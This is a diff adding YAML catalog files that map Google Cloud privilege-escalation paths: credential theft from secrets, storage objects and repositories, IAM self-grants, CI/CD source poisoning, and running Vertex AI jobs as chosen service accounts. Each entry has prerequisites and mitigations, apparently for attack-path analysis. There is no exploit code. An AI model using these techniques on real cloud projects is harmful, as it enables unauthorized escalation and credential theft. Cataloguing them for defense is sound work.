aggregate_as: "SAs of Cloud Run worker pools whose IAM policy the source controls" + conditions: + - id: followup_update + description: The self-granted run.workerpools.update still re-validates actAs on the pinned service account. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict run.workerpools.setIamPolicy (roles/run.admin, roles/owner). + notes: Mirrors gcp-run-services-setiampolicy-actas for the worker pool resource type. +- id: gcp-run-literal-sa-key-disclosure + provider: gcp + service: run + title: Plaintext credential theft + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md#plaintext-environment-disclosure-with-cloud-run-read-permissions + requires: + any_of: + - - action: run.services.get + resource: '*' + - - action: run.services.list + resource: '*' + - - action: run.configurations.get + resource: '*' + - - action: run.configurations.list + resource: '*' + - - action: run.revisions.get + resource: '*' + - - action: run.revisions.list + resource: '*' + - - action: run.jobs.get + resource: '*' + - - action: run.jobs.list + resource: '*' + - - action: run.executions.get + resource: '*' + - - action: run.executions.list + resource: '*' + - - action: run.tasks.get + resource: '*' + - - action: run.tasks.list + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-run-literal-sa-key-disclosure + scope: any + conditions: + - id: active_key_in_literal_env + description: An environment value must contain an active Google service-account key, not a Secret Manager reference + or opaque application password. The active key ID and service-account email must match collector evidence. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and audit the target configuration. + references: + - https://docs.cloud.google.com/run/docs/instances/create-and-manage-instances + summary: Reading a Cloud Run template with an embedded active Google service-account key can disclose that stronger + credential. + source_revision: 0b36331 + notes: Exact source/resource/target evidence must be emitted in gcp_privesc_challenge_evidence from the requested + collector. Missing evidence is UNKNOWN; do not infer any other service account. diff --git a/src/privilege-escalation-paths-research/gcp/saasservicemgmt.yaml b/src/privilege-escalation-paths-research/gcp/saasservicemgmt.yaml new file mode 100644 index 0000000000..2075d35606 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/saasservicemgmt.yaml @@ -0,0 +1,46 @@ +# GCP App Lifecycle Manager (SaaS Runtime, saasservicemgmt) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-app-lifecycle-manager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: saasservicemgmt_unit -> the actuation_sa input variable of an existing provisioned Unit +# ("{target.host_resource}" = that Unit); Unit inventory is not collected. + +- id: gcp-saasservicemgmt-release-unit-actuation + provider: gcp + service: saasservicemgmt + title: Apply an attacker blueprint release to existing Units as their actuation service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-app-lifecycle-manager-privesc.md#saasservicemgmtreleasescreate--unitoperationscreate--rolloutscreate--apply-attacker-terraform-as-an-actuation-service-account + source_revision: 171e422 + summary: The source can obtain the resource-management privileges of the actuation service account of existing App Lifecycle Manager Units it can upgrade with a release it creates. + requires: + all_of: + - action: saasservicemgmt.releases.create + resource: "*" + any_of: + - - action: saasservicemgmt.unitOperations.create + resource: "{target.host_resource}" + - - action: saasservicemgmt.rollouts.create + resource: "*" + target: + kind: gcp_service_account + selector: + attached_to_service: saasservicemgmt_unit + scope: any + aggregate_as: "Actuation SAs of App Lifecycle Manager Units the source can upgrade" + conditions: + - id: existing_topology + description: Needs an existing UnitKind and provisioned Unit (and a compatible RolloutKind for the rollout branch); a rollout unit filter can narrow but not widen the RolloutKind scope. + - id: actuation_sa_prepared + description: The retained actuation SA must already be configured for the Unit and hold the permissions the blueprint's resources need; an arbitrary unprepared SA cannot be selected. + - id: no_token + description: The SA is used through Infrastructure Manager actuation of the blueprint, not as a token in hand; reaching code execution needs a blueprint resource that runs code. + - id: read_permissions + description: Server-side validation and CLI helpers may also need read permissions on the referenced Unit, Release, UnitKind or RolloutKind. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict roles/saasservicemgmt.admin and editor-level roles in management projects and keep actuation SAs least-privileged. + references: + - https://docs.cloud.google.com/saas-runtime/docs/overview + notes: The page states the caller needs no iam.serviceAccounts.actAs; Google does not document a caller-side actAs check either. roles/saasservicemgmt.admin, roles/editor and roles/owner contain all three permissions. diff --git a/src/privilege-escalation-paths-research/gcp/secretmanager.yaml b/src/privilege-escalation-paths-research/gcp/secretmanager.yaml new file mode 100644 index 0000000000..4c6a339dab --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/secretmanager.yaml @@ -0,0 +1,59 @@ + +- id: gcp-secretmanager-versions-access-sa-key + provider: gcp + service: secretmanager + title: Stored credential theft + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#escalation-through-a-recovered-secret + requires: + all_of: + - action: secretmanager.versions.access + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-secretmanager-versions-access-sa-key + scope: any + conditions: + - id: active_key_in_secret + description: The accessible enabled secret version must contain an active key for a stronger service account; + the source must not already have equivalent access. The active key ID and service-account email must match + collector evidence. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and audit the target configuration. + references: + - https://docs.cloud.google.com/secret-manager/docs/access-secret-version + summary: The source can obtain a stronger service-account credential stored in an accessible secret version when + the credential has been verified active. + source_revision: 0b36331 + notes: Exact source/resource/target evidence must be emitted in gcp_privesc_challenge_evidence from the requested + collector. Missing evidence is UNKNOWN; do not infer any other service account. +- id: gcp-secretmanager-setiampolicy-sa-key + provider: gcp + service: secretmanager + title: Secret IAM self-grant to credential theft + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md#secretmanagersecretssetiampolicy + requires: + all_of: + - action: secretmanager.secrets.setIamPolicy + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-secretmanager-setiampolicy-sa-key + scope: any + conditions: + - id: active_key_in_secret + description: The writable secret must hold an enabled version with an active stronger service-account key; IAM + Deny and policy conditions must allow the self-grant. The active key ID and service-account email must match + collector evidence. + confidence: conditional + severity: high + mitigation: Restrict the listed permissions and audit the target configuration. + references: + - https://docs.cloud.google.com/secret-manager/docs/access-secret-version + summary: The source can obtain a stronger service-account credential stored in an accessible secret version when + the credential has been verified active. + source_revision: 0b36331 + notes: Exact source/resource/target evidence must be emitted in gcp_privesc_challenge_evidence from the requested + collector. Missing evidence is UNKNOWN; do not infer any other service account. diff --git a/src/privilege-escalation-paths-research/gcp/securesourcemanager.yaml b/src/privilege-escalation-paths-research/gcp/securesourcemanager.yaml new file mode 100644 index 0000000000..d37e81e398 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/securesourcemanager.yaml @@ -0,0 +1,124 @@ +# GCP Secure Source Manager privilege escalation techniques (repository write into CI/CD). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-secure-source-manager-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: sourcerepo_trigger_consumer -> run-as SA of Cloud Build triggers / Cloud Deploy pipelines that build +# from the repository in "{target.artifact_arn}" (directly or through Developer Connect). + +- id: gcp-securesourcemanager-push-cicd + provider: gcp + service: securesourcemanager + title: Push code to a repository that feeds a CI/CD pipeline + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#cicd-supply-chain-code-execution + source_revision: 171e422 + summary: The source can obtain the privileges of the build/deploy service accounts of pipelines that run code from Secure Source Manager repositories it can push to. + requires: + all_of: + - action: securesourcemanager.repositories.push + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: sourcerepo_trigger_consumer + scope: any + aggregate_as: "Pipeline SAs building from writable Secure Source Manager repositories" + conditions: + - id: pipeline_link + description: The repository must be linked (e.g. via Developer Connect) to a Cloud Build trigger or Cloud Deploy pipeline that runs repository-controlled build config on the pushed branch. + - id: branch_protection + description: Branch rules / required reviews can block direct pushes; branchRules.* or approvePullRequests + pullRequests.merge bypass them. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Protect build branches with branch rules and required reviews, restrict repositories.push (including roles/securesourcemanager.developerConnectLinker and roles/editor). + +- id: gcp-securesourcemanager-setiampolicy + provider: gcp + service: securesourcemanager + title: Self-grant write on a Secure Source Manager instance or repository through IAM + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secure-source-manager-privesc.md#securesourcemanagerinstancessetiampolicy--repositoriessetiampolicy--iam-self-grant-to-readpoison-source + source_revision: 171e422 + summary: The source can obtain the privileges of the build/deploy service accounts of pipelines that run code from Secure Source Manager repositories whose IAM policy it controls. + requires: + any_of: + - - action: securesourcemanager.repositories.setIamPolicy + resource: "{target.artifact_arn}" + - - action: securesourcemanager.instances.setIamPolicy + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: sourcerepo_trigger_consumer + scope: any + aggregate_as: "Pipeline SAs building from Secure Source Manager repositories whose IAM the source controls" + conditions: + - id: followup_push + description: The self-granted writer role is then used as in gcp-securesourcemanager-push-cicd. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict setIamPolicy (roles/securesourcemanager.instanceOwner, repoAdmin, roles/owner). +- id: gcp-securesourcemanager-hook-oidc-token + provider: gcp + service: securesourcemanager + title: Capture repository webhook OIDC token + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-secure-source-manager-enum.md#relevant-permissions + summary: A service-account-authenticated hook sends an identity token for the repository SA to the selected URI. + requires: + any_of: + - - action: securesourcemanager.hooks.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + - - action: securesourcemanager.hooks.update + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + outcome: credentials + scope: any + selector: + gcp_challenge_fact: gcp-securesourcemanager-hook-oidc-token + conditions: + - Repository SA association, service-agent Token Creator, hook event, reachable endpoint and matching downstream + audience. + confidence: conditional + severity: high + mitigation: Restrict hook writes/actAs; review authenticated hook destinations. + references: + - https://docs.cloud.google.com/secure-source-manager/docs/set-up-webhooks + notes: Exact verified source/resource/target fact is mandatory. Missing evidence evaluates UNKNOWN. This is an + audience-bound OIDC identity token, not general OAuth access. + source_revision: 0b36331 +- id: gcp-securesourcemanager-fetch-committed-credential + provider: gcp + service: securesourcemanager + title: Clone a repository containing a stronger cloud credential + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-secure-source-manager-enum.md#relevant-permissions + summary: Repository fetch exposes source files; when a committed file contains a usable stronger credential, the + caller can acquire it. + requires: + all_of: + - action: securesourcemanager.repositories.fetch + resource: '*' + - action: securesourcemanager.instances.access + resource: '*' + target: + kind: gcp_service_account + outcome: credentials + scope: any + selector: + gcp_challenge_fact: gcp-securesourcemanager-fetch-committed-credential + conditions: + - Repository content contains a valid credential for a stronger principal. + - Credential-to-principal relation requires content evidence; repository IAM and instance access must permit clone. + confidence: conditional + severity: high + mitigation: Scan and revoke committed credentials; restrict repository fetch. + references: + - https://docs.cloud.google.com/secure-source-manager/docs/access-control + notes: Exact verified source/resource/target fact is mandatory. Missing evidence evaluates UNKNOWN. Only a validated + stronger service-account credential qualifies; arbitrary content is data. + source_revision: 0b36331 diff --git a/src/privilege-escalation-paths-research/gcp/sourcerepos.yaml b/src/privilege-escalation-paths-research/gcp/sourcerepos.yaml new file mode 100644 index 0000000000..d4b97e3449 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/sourcerepos.yaml @@ -0,0 +1,63 @@ +# GCP Cloud Source Repositories privilege escalation techniques (legacy service, unavailable to new customers). +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-sourcerepos-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml (attached_to_service sourcerepo_trigger_consumer +# as defined in securesourcemanager.yaml). + +- id: gcp-sourcerepos-update-build-trigger + provider: gcp + service: source + title: Push code to a Cloud Source repository that feeds a Cloud Build trigger + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#sourcereposupdate--poison-source-consumed-by-a-privileged-cloud-build-trigger + source_revision: 171e422 + summary: The source can obtain the privileges of the build service accounts of triggers that build from Cloud Source repositories on which it holds source.repos.update. + requires: + all_of: + - action: source.repos.update + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: sourcerepo_trigger_consumer + scope: any + aggregate_as: "Build SAs of triggers on writable Cloud Source repositories" + conditions: + - id: trigger + description: An existing enabled Cloud Build trigger on the repository must accept the push (ref, included/ignored-file filters, no unmet approval) and execute repository-controlled content; the trigger's pinned service account is used and a serviceAccount field in the repo build config is ignored. + - id: end_of_sale + description: Cloud Source Repositories is unavailable to new customers since 2024-06-17; only existing eligible organizations still use it. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict source.repos.update (roles/source.writer, roles/source.editor, roles/source.admin, roles/editor) on repositories with build triggers and require approval on triggers. + references: + - https://docs.cloud.google.com/build/docs/securing-builds/configure-access-control + notes: No cloudbuild.builds.create or iam.serviceAccounts.actAs is needed to cause the repository event; the writer cannot choose the build identity. + +- id: gcp-sourcerepos-setiampolicy + provider: gcp + service: source + title: Self-grant repository write access through the repository IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md#sourcerepossetiampolicy--self-grant-repository-write-access + source_revision: 171e422 + summary: The source can obtain the privileges of the build service accounts of triggers that build from Cloud Source repositories whose IAM policy it controls. + requires: + all_of: + - action: source.repos.setIamPolicy + resource: "{target.artifact_arn}" + target: + kind: gcp_service_account + selector: + attached_to_service: sourcerepo_trigger_consumer + scope: any + aggregate_as: "Build SAs of triggers on Cloud Source repositories whose IAM the source controls" + conditions: + - id: followup_push + description: The self-granted roles/source.writer (or admin) is then used as in gcp-sourcerepos-update-build-trigger, with all of its trigger prerequisites. + - id: no_public_members + description: Cloud Source Repositories rejects allUsers/allAuthenticatedUsers bindings; the grantee must be an attacker-controlled IAM principal. + blockers: + - gcp_deny_policy + confidence: conditional + severity: high + mitigation: Restrict source.repos.setIamPolicy (roles/source.admin, roles/owner). diff --git a/src/privilege-escalation-paths-research/gcp/storage.yaml b/src/privilege-escalation-paths-research/gcp/storage.yaml new file mode 100644 index 0000000000..d655ea83ba --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/storage.yaml @@ -0,0 +1,215 @@ +# GCP Cloud Storage privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-storage-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# Service-specific bucket write techniques (Composer, Cloud Functions, App Engine, Dataflow) live in those service files. + +- id: gcp-storage-hmackeys-create + provider: gcp + service: storage + title: Create an HMAC key for an in-project service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagehmackeyscreate--mint-a-cloud-storage-credential-for-another-service-account + source_revision: 171e422 + summary: The source can obtain the Cloud Storage privileges of every service account in each project where it holds storage.hmacKeys.create. + requires: + all_of: + - action: storage.hmacKeys.create + resource: "*" + target: + kind: gcp_service_account + selector: + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: "Service accounts of {project} usable through Storage HMAC keys" + conditions: + - id: storage_only + description: An HMAC key authenticates only to the Cloud Storage XML (S3-interoperable) API, so only the SA's Cloud Storage permissions are obtained, not its other IAM permissions. + - id: hmac_constraint + description: Org policy storage.restrictAuthTypes rejects creation and use only when its denied values cover service-account HMAC signed requests. + - id: key_quota + description: The service account must have fewer than 10 non-deleted HMAC keys. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + - {id: org_policy_constraint, constraint: storage.restrictAuthTypes} + - {id: org_policy_constraint, constraint: iam.disableServiceAccountKeyCreation} + - {id: org_policy_constraint, constraint: iam.managed.disableServiceAccountKeyCreation} + confidence: conditional + severity: high + mitigation: Restrict storage.hmacKeys.create (roles/storage.hmacKeyAdmin, roles/storage.admin at project level) and enforce storage.restrictAuthTypes. + references: + - https://cloud.google.com/storage/docs/authentication/hmackeys + - https://docs.cloud.google.com/storage/docs/authentication/managing-hmackeys + - https://docs.cloud.google.com/storage/docs/json_api/v1/projects/hmacKeys/create + notes: No actAs or SA-level permission is needed; any in-project SA email is accepted (HackTricks). The edge over-approximates when the engine treats the target node as full SA privileges; the storage-only limit must be applied by the consumer (e.g. reaching Composer/Functions buckets of that SA). + +- id: gcp-storage-buckets-setiampolicy-composer + provider: gcp + service: storage + title: Self-grant write on a Composer environment bucket through the bucket IAM policy + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account of every Composer environment whose bucket IAM policy it controls. + requires: + any_of: + - - action: storage.buckets.setIamPolicy + resource: "{target.host_resource.content_storage}" + - - action: storage.managedFolders.setIamPolicy + resource: "{target.host_resource.content_storage}" + target: + kind: gcp_service_account + selector: + attached_to_service: composer_environment + scope: any + aggregate_as: "SAs of Composer environments whose bucket IAM the source controls" + conditions: + - id: followup_write + description: The self-granted object write then drops a DAG that runs as the environment SA (see gcp-composer-bucket-write). + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + - id: blind_replace + description: setIamPolicy alone replaces the whole bucket policy; a non-destructive read-modify-write also needs storage.buckets.getIamPolicy. + - id: managed_folder + description: The managed-folder alternative needs a uniform-access bucket with a managed folder covering the dags/ prefix; it grants object write only under that prefix. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + - https://docs.cloud.google.com/composer/docs/composer-3/access-control + confidence: derived + severity: critical + mitigation: Restrict storage.buckets.setIamPolicy (roles/storage.admin) on Composer and other code-bearing buckets. + notes: Dataproc staging and unpinned Cloud Build StorageSource consumers are modelled by gcp-storage-buckets-setiampolicy-code-consumers; function source and App Engine staging bucket techniques are race-conditional and not duplicated here. + +- id: gcp-storage-cloudbuild-unpinned-storagesource-poison + provider: gcp + service: storage + title: Replace an unpinned Cloud Build StorageSource archive consumed by a later build + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storageobjectscreate--storageobjectsdelete--poison-an-unpinned-cloud-build-storagesource + source_revision: 171e422 + summary: The source can obtain the privileges of the build service account of Cloud Build triggers, automation or retried builds that fetch, without a pinned generation, a source archive object it can replace. + requires: + all_of: + - action: storage.objects.create + resource: "{target.host_resource.content_storage}" + - action: storage.objects.delete + resource: "{target.host_resource.content_storage}" + target: + kind: gcp_service_account + selector: + attached_to_service: cloudbuild_unpinned_storage_source + scope: any + aggregate_as: "Build SAs of builds consuming source archives the source can replace" + conditions: + - id: unpinned_reuse + description: A later legitimate build creation, trigger invocation or builds.retry must reuse the exact bucket/object with StorageSource.generation omitted; generation-pinned sources are unaffected. + - id: executes_source + description: The build steps must execute or trust content from the archive; replacing cloudbuild.yaml inside it is insufficient when steps are supplied separately to the API. + - id: object_protection + description: Retention locks, object holds or IAM Deny on the object block replacement. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Pin StorageSource.generation, keep build source buckets writable only by the build submitters, and avoid retrying builds from mutable sources. + references: + - https://docs.cloud.google.com/build/docs/api/reference/rest/v1/projects.builds#StorageSource + - https://docs.cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/retry + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions + notes: No cloudbuild.builds.create or actAs is needed when another principal or automation starts or retries the vulnerable build. The build identity can be a user-specified SA, the Compute Engine default SA or the legacy Cloud Build SA. + +- id: gcp-storage-buckets-setiampolicy-code-consumers + provider: gcp + service: storage + title: Self-grant object write on a bucket whose code a Dataproc cluster or an unpinned Cloud Build source consumes + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md#storagebucketssetiampolicy--storagemanagedfolderssetiampolicy--resource-scoped-self-grant + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of the service account of Dataproc clusters or Cloud Build builds that load code from a bucket whose IAM policy (or managed-folder policy) it controls, by granting itself object write and replacing the consumed object. + requires: + any_of: + - - action: storage.buckets.setIamPolicy + resource: "{target.host_resource.content_storage}" + - - action: storage.managedFolders.setIamPolicy + resource: "{target.host_resource.content_storage}" + target: + kind: gcp_service_account + selector: + attached_to_service: + - dataproc_cluster + - cloudbuild_unpinned_storage_source + scope: any + aggregate_as: "SAs of workloads loading code from buckets whose IAM the source controls" + conditions: + - id: followup_replace + description: The self-granted role must include storage.objects.create and storage.objects.delete so the consumed object can be replaced (see gcp-dataproc-staging-object-replace and gcp-storage-cloudbuild-unpinned-storagesource-poison); a later job, node startup or build must load it by name without a pinned generation. + - id: blind_replace + description: setIamPolicy alone replaces the whole policy; a non-destructive read-modify-write also needs the matching getIamPolicy permission. + - id: allowed_member_domains + description: iam.allowedPolicyMemberDomains can reject bindings for external principals. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: high + mitigation: Restrict storage.buckets.setIamPolicy and storage.managedFolders.setIamPolicy on buckets that hold code, staging artifacts or build sources. + references: + - https://docs.cloud.google.com/storage/docs/access-control/iam-permissions +- id: gcp-designcenter-bucket-credential + provider: gcp + service: storage + title: Read known bucket objects through Design Center Viewer role + source: src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-application-design-center-post-exploitation.md#rolesdesigncenterviewer--read-objects-from-known-cloud-storage-buckets + source_revision: 0b36331 + summary: Credential in known bucket object; emit only for the exact verified source, resource and target. + requires: + all_of: + - action: storage.objects.get + resource: '*' + source_kind: + - gcp_user + - gcp_service_account + target: + kind: gcp_verified_authority + selector: + gcp_challenge_fact: gcp-designcenter-bucket-credential + scope: any + outcome: scope_control + aggregate_as: Verified targets for Read known bucket objects through Design Center Viewer role + conditions: + - id: exact_verified_prerequisites + description: Exact source, resource, target, scope and gain must be verified; missing fact is UNKNOWN. Known + bucket/object; effective role grant supplies object get; object contains usable credential mapped to a principal. + Storage list is optional discovery. + confidence: conditional + severity: high + mitigation: Limit storage.objects.get to trusted operators and monitor the target-specific use. + references: + - src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-application-design-center-post-exploitation.md#rolesdesigncenterviewer--read-objects-from-known-cloud-storage-buckets +- id: gcp-storage-object-sa-credential + provider: gcp + service: storage + title: Read credential from Storage object or older generation of a GCP service account + source: src/pentesting-cloud/gcp-security/gcp-services/gcp-storage-enum.md#enumeration + source_revision: 0b36331 + summary: A readable storage object generation contains a verified reusable credential belonging to another GCP + service account. + requires: + all_of: + - action: storage.objects.get + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_challenge_fact: gcp-storage-object-sa-credential + scope: any + outcome: credentials + conditions: + - id: verified_content + description: Emit only for exact source, resource, target and scope evidence after verifying credential validity; + absent or incomplete content is UNKNOWN, and metadata or secret names alone do not qualify. + confidence: conditional + severity: high + mitigation: Restrict storage.objects.get on sensitive resources; rotate exposed service-account credentials. + references: + - https://docs.cloud.google.com/storage/docs/json_api/v1/objects/get diff --git a/src/privilege-escalation-paths-research/gcp/vertexai.yaml b/src/privilege-escalation-paths-research/gcp/vertexai.yaml new file mode 100644 index 0000000000..e48ad1c276 --- /dev/null +++ b/src/privilege-escalation-paths-research/gcp/vertexai.yaml @@ -0,0 +1,378 @@ +# GCP Vertex AI (aiplatform) and Workbench (notebooks) privilege escalation techniques. +# Source: hacktricks-cloud gcp-privilege-escalation/gcp-vertex-ai-privesc.md (rev 171e422). +# Placeholder / selector conventions: see the header of catalog/gcp/iam.yaml. +# attached_to_service: vertex_custom_code_agent -> service-@gcp-sa-aiplatform-cc of the project; +# notebooks_instance -> SA attached to an existing Workbench instance ("{target.host_resource}"). +# vertex_reasoning_engine_agent -> service-@gcp-sa-aiplatform-re of the project (Agent Engine default runtime identity). + +- id: gcp-vertex-customjobs-create-actas + provider: gcp + service: aiplatform + title: Create a Vertex AI custom job or custom training pipeline running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformcustomjobscreate--iamserviceaccountsactas + source_revision: 6fb9ac51fd + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs, by creating a Vertex AI custom job or a custom TrainingPipeline whose workload runs as that service account. + requires: + all_of: + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + any_of: + - - action: aiplatform.customJobs.create + resource: '*' + - - action: aiplatform.trainingPipelines.create + resource: '*' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + notes: A custom TrainingPipeline wraps the same custom job spec, so aiplatform.trainingPipelines.create is an equivalent alternative. + +- id: gcp-vertex-pipelinejobs-create-actas + provider: gcp + service: aiplatform + title: Create a Vertex AI pipeline job running as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformpipelinejobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.pipelineJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-hptuningjobs-create-actas + provider: gcp + service: aiplatform + title: Create a hyperparameter tuning job whose trials run as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformhyperparametertuningjobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.hyperparameterTuningJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: metadata_reachable + description: The workload code must be able to use the attached identity (metadata server or default credentials in the runtime). + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: derived + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-batchprediction-create-actas + provider: gcp + service: aiplatform + title: Create a batch prediction job running a source-controlled model as a chosen service account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#aiplatformbatchpredictionjobscreate--iamserviceaccountsactas + source_revision: 171e422 + summary: The source can obtain the privileges of any service account in the project on which it holds iam.serviceAccounts.actAs. + requires: + all_of: + - action: aiplatform.batchPredictionJobs.create + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: model_control + description: Needs a source-controlled model (aiplatform.models.upload) whose container or artifact executes code. + - id: service_agent_io + description: Vertex still uses its service agent for Cloud Storage/BigQuery I/O even with a custom SA. + - id: service_agent_delegation + description: The project's Vertex AI Service Agent must hold the documented prediction delegation grant (roles/iam.serviceAccountAdmin) on the custom SA. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* role contains actAs but roles/editor contains both. + +- id: gcp-vertex-models-upload-endpoint-deploy-actas + provider: gcp + service: aiplatform + title: Deploy a controlled model to a Vertex AI endpoint under a chosen service + account + source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md#deploy-an-attacker-controlled-model-to-an-endpoint-as-a-target-service-account + source_revision: 6fb9ac51fd + summary: The source can run a controlled custom-container model as a chosen service + account by deploying it to an existing endpoint. + requires: + all_of: + - action: aiplatform.endpoints.deploy + resource: '*' + - action: iam.serviceAccounts.actAs + resource: '{target.email}' + target: + kind: gcp_service_account + selector: + gcp_actas_granted_on_target: true + gcp_sa_in_scope_of_permission: true + scope: same_project + aggregate_as: Service accounts usable as Vertex AI workload SA in {project} + conditions: + - id: controlled_model + description: An attacker-controlled model must already exist. Uploading a new + one additionally requires aiplatform.models.upload; deploy alone does not let + the caller change an existing model container. + - id: endpoint + description: An existing endpoint is required. Creating one additionally requires + aiplatform.endpoints.create. + - id: service_agent_delegation + description: The project's Vertex AI Service Agent must hold the documented prediction + delegation grant (roles/iam.serviceAccountAdmin) on the custom SA. + - id: container_contract + description: Custom containers must pass Vertex health/prediction checks for the + deployment to stay up. + blockers: + - gcp_deny_policy + - vpc_sc_perimeter + confidence: conditional + severity: critical + mitigation: Grant actAs only on dedicated Vertex AI workload SAs; no aiplatform.* + role contains actAs but roles/editor contains both. + +- id: 